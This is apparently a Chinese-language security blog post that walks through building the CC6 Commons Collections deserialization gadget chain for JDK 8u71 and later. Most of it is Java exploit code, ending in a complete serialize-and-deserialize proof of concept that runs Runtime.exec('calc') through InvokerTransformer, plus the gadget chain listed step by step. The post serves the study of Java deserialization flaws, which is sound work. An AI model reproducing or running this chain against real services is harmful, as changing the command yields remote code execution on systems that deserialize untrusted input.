在jdk8u71之前,CC1是能用的。在8u71之后,AnnotationInvocationHandler#readObject 逻辑发生改变,CC6正是一条支持jdk8高版本的gadget。
gadget图
跟着老哥整理了一下CC1两条路以及CC6的gadget图。
分析
上回CC1—LazyMap讲到LazyMap#get方法
我们通过LazyMap#decorate方法使factory=chainedTransformer就可以触发chainedTransformer#transform方法。
由于AnnotationInvocationHandler这条路走不了了,我们只能另辟蹊径,最终大佬找到了TiedMapEntry#getValue。
而TiedMapEntry是能实例化的,令map=lazyMap,key的话我们先随便传一个字符串即可。
目前exp为:
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
new ConstantTransformer(1),
};
ChainedTransformer c=new ChainedTransformer(transformers);
HashMap map=new HashMap();
Map lazyMap= LazyMap.decorate(map,new ConstantTransformer(c));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Squirt1e");
而TiedMapEntry#getValue是由TiedMapEntry#hashCode触发,这就好办了,URLDNS那条链子就是用到了hashCode。
此时exp为:
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
new ConstantTransformer(1),
};
ChainedTransformer c=new ChainedTransformer(transformers);
HashMap map=new HashMap();
Map lazyMap= LazyMap.decorate(map,new ConstantTransformer(c));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"jajaja");
HashMap<Object,String> hashmap=new HashMap<Object,String>();
hashmap.put(tiedMapEntry,"Squirt1e");
还记得URLDNS的朋友会记得一个坑,也就是hashmap.put也会执行hashCode方法。
也就是说在序列化和反序列化之前就会触发hashCode从而导致提前RCE。这会影响我们的判断,因此最好是让他put的时候不要触发。
这很好解决,我们只要随意破坏链子其中一个节点,比如令Map lazyMap= LazyMap.decorate(map,new ConstantTransformer(1));之前放的是ChainedTransformer c,从而触发链式RCE。现在我们修改lazyMap,使它的成员变量factory变成一个new ConstantTransformer(1)自然就不会RCE。
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
new ConstantTransformer(1),
};
ChainedTransformer c=new ChainedTransformer(transformers);
HashMap map=new HashMap();
Map lazyMap= LazyMap.decorate(map,new ConstantTransformer(1));//先放进去一个触发不了的,避免序列化的时候触发
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Squirt1e");
HashMap<Object,String> hashmap=new HashMap<Object,String>();
hashmap.put(tiedMapEntry,"Squirt1e");
// 将factory重新赋值为lazyMap从而触发factory.transform
Class clazz=LazyMap.class;
Field factory=clazz.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,c);
但显然这条链子打不通。
为了解决这个问题,debug断到LazyMap#get。
可以看到反序列化时我们走不到if里面,同样是因为hashmap.put提前触发了get,执行了map.put;也就导致此时的map存在这个key。
这也很好解决,在put完之后map.remove(“Squirt1e”);删掉这个key即可。
或者令TiedMapEntry tiedMapEntry=new TiedMapEntry(map,”Squirt1e”);也就是说在put的时候不让他走到LazyMap#put,随后通过反射修改掉私有变量map也可以。不过也没啥大用,就图一乐。
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
new ConstantTransformer(1),
};
ChainedTransformer c=new ChainedTransformer(transformers);
HashMap map=new HashMap();
Map lazyMap= LazyMap.decorate(map,new ConstantTransformer(1));//先放进去一个触发不了的,避免序列化的时候触发
TiedMapEntry tiedMapEntry=new TiedMapEntry(map,"Squirt1e");
HashMap<Object,String> hashmap=new HashMap<Object,String>();
hashmap.put(tiedMapEntry,"Squirt1e");
Class claz=TiedMapEntry.class;
Field tiedMap=claz.getDeclaredField("map");
tiedMap.setAccessible(true);
tiedMap.set(tiedMapEntry,lazyMap);
// 将factory重新赋值为lazyMap从而触发factory.transform
Class clazz=LazyMap.class;
Field factory=clazz.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,c);
serialize(hashmap);
unserialize();
}
打通
链子
由于比较简单,就不调试了。
HashMap#readobject
HashMap#hash
TiedMapEntry#getValue
LazyMap#get
ChainedTransformer#transform
InvokerTransformer#transform